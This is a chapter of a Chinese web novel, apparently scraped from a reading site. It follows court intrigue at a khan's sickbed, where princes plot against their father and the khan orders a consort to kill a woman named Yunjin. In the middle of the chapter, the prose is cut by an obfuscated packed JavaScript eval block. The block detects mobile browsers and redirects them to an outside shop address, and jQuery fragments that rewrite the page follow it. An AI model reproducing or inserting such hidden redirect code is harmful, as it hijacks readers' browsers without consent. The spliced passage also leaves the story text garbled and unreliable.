大帐中,巴温火冒三丈高。


    “二哥,这一切都是云锦搞的鬼!”


    以前多罗部的人偏安一隅,对王庭更是唯命是从,哪像如今这般这么嚣张过!


    巴温气急。


    他当初就该直接弄死云锦!不给她苟延残喘的机会。


    现在好了,云锦这个女人摇身一变,竟成了被鹿神看中的对象,多罗部的三长老?!


    “二哥,你倒是说句话啊。”


    巴温急得直跳脚,满脸的横肉乱颤。


    “慌什么慌!”


    巴图声如牦牛一般,沉沉闷闷的哼声像是从鼻子里发出来的。


    “多罗冶的野心都快顶到他脑门上了,他倒会选择时机,偏偏父汗卧病在床的时候……”


    “巴温,管好你的嘴巴!”


    巴图肉眼可见的生气了,鹰钩般的鼻子上面,铜陵大的眼睛狠狠的瞪了他一眼。


    巴温知道自己情急之下说错了话,赶紧捂住了嘴巴一屁股坐到了兽皮椅上。


    “二哥,现在可不止多罗冶,那几个小的可也都盯着那个位置呢。”


    “不如咱们就先下手为强……”


    巴温脸上闪过一抹狠辣的神色,手起刀落,眼睛瞄向可汗王帐的方向。


    意思是什么,不言而喻。


    巴图沉默片刻,看了巴温一眼。


    他们一母同胞,但都非可敦所亲生,要不是可敦诞下的大王子去世的早,这可汗之位根本没他们什么事儿。


    本以为大王子去世了,他这个兄弟们之间最大的就能继承可汗大位。


    可父汗心里始终都有他那个早就死了的大哥,甚至到现在病入膏肓了都不愿意立王太子。


    想到这些,巴图心中有恨。


    可巴图对老可汗的敬畏已经深深地刻到了骨子里,他有这个贼心,现在还需要那个贼胆。


    “你让我好好想想。”


    巴温脸上的横肉一阵扭曲,强压着驴脾气大声道:“二哥,咱们的时间不多了。”


    然而两人不知道的是。


    此刻本卧病在床的老可汗手中正拿着一封密信。


    刻印有女娲相的红色蜡封被撕开,待老可汗看过信后,再度不受控制的咳嗽起来。


    这一阵咳嗽撼天动地,几乎要将这个老头的心肝肚肺都要震出来。


    不过数月的情形,现在的可汗皮肉干瘪,脸色灰败,身上的大袍随着他的咳嗽颤动。


    图雅阏氏原本还在小心的吹着那碗黑乎乎的药,见状赶紧半跪在床边,给老可汗顺气。


    “可汗,您悠着点儿,巫医说了,你可不能再生气了。”


    相较于已显现出油尽灯枯之相的老可汗,图雅阏氏尚且三十几岁,不到四十的年纪,体态丰韵,面色红润,就是这连日在老可汗身边侍候着,没能睡几个安稳觉,眼下乌青。


    老可汗一手扶着床边,手中的信已被抓出了褶皱。


    而他另一只枯槁的手放在心口上,低垂着脑袋,颤颤巍巍的,不断地给自己顺气。


    趁着这个功夫,图雅阏氏偷偷地瞄着他手上那封信。


    在隐约看到云锦两个字后,眼神顿时犀利狠毒起来。


    多罗查干逃到这里时,将所有的事情都告诉她了!


    是云锦亲口承认害死了她的妹妹阿茹娜!


    图雅的目光变得无比毒辣。


    至今她还记得,那天她将这件事告诉眼前这个糟老头子时,非但没能得到他的半分怜悯,甚至他竟要她拿出证据来?!


    简直就是笑话,惩处一个云锦,需要什么证据!


    他分明就是因为多罗部的两兄弟态度强硬,竟说多罗查干和她妹妹阿茹娜一块造反,还说是她指使的?这老东西还说为了保下她,已经丢了面子,简直不可理喻!


    华阳公主那个坏东西好不容易走了,后脚又来了个比她还要难缠百倍的云锦!


    图雅阏氏每每想到这里都觉得这天要塌了。


    然而,当大可汗平息了这阵咳嗽,掩在嘴边的帕子已积了一滩深红色的污血。


    图雅阏氏快速收敛了情绪,换做了那一副担忧模样。


    小心翼翼的盛了一勺药递到了可汗嘴边。


    “大汗,您该喝药了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13553151|142624||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p> “你,你是不是还在怪我?”


    老可汗颤巍巍的喝下了一口药,嘴里发苦,却是歪过头去,不肯再喝了。


    “本汗自己的身体,如今究竟是个什么样子,我还是知道的,你把药拿走吧。”


    “大汗,您又说丧气的话,您吉人自有天相,怎么会……”


    “行了,你就别在本汗面前装了。”大汗闭上眼睛靠在床头,“我问你,你可是还在埋怨我?”


    图雅阏氏缩了缩脖子,哂笑一声。


    就算大汗变成了这样,她还是对他打心眼儿里的又敬又是畏。


    她生在多罗部,此前唯一的依靠也因为妹妹的去世没了。


    如今的她,除了依靠这个缠绵病榻的男人,唯一的指望也只有尚且还不到十岁的儿子了。


    “让你说你就说。”可汗干瘪的胸膛起伏着,语气已有几分不耐。


    不得已,图雅阏氏深吸了一口气,苦道:“妾


    不敢怪大汗,可大汗……云锦这个女人留着迟早是个祸害,我,我近日里也听说了不少的传闻”


    “什么传闻?说。”


    大汗表情痛苦,声音沙哑,右胸口中像是堵了块巨石一样,一呼吸就能感受到撕裂般的疼痛,像是要将他的心肺硬生生的给扯出来。


    已然是出气多进气少的状态了,不过图雅阏氏没看出来。


    “妾,妾不敢说。”


    “呵呵。”老可汗冷笑一声,“鹿神的事情,本汗已经知道了。”


    图雅阏氏心里一惊,没想到这糟老头子卧病在床,大部分时间都是昏睡不醒的,还能知道外面发生了什么。


    “你不必如此惊讶,本汗虽然病了,却还没死呢,那几个不孝的东西就开始惦记上我的位置了!”


    “大汗息怒!”


    图雅阏氏慌张的退到了床下,四肢伏地惊惧的跪在了地上。


    那些王子们干的事情,她也有参与。


    “图雅,你跟在本汗身边也有十几年了,本汗不舍得杀你。”


    “多,多谢您宽恕妾,妾身。”


    “不过本汗要你帮我,杀了云锦。”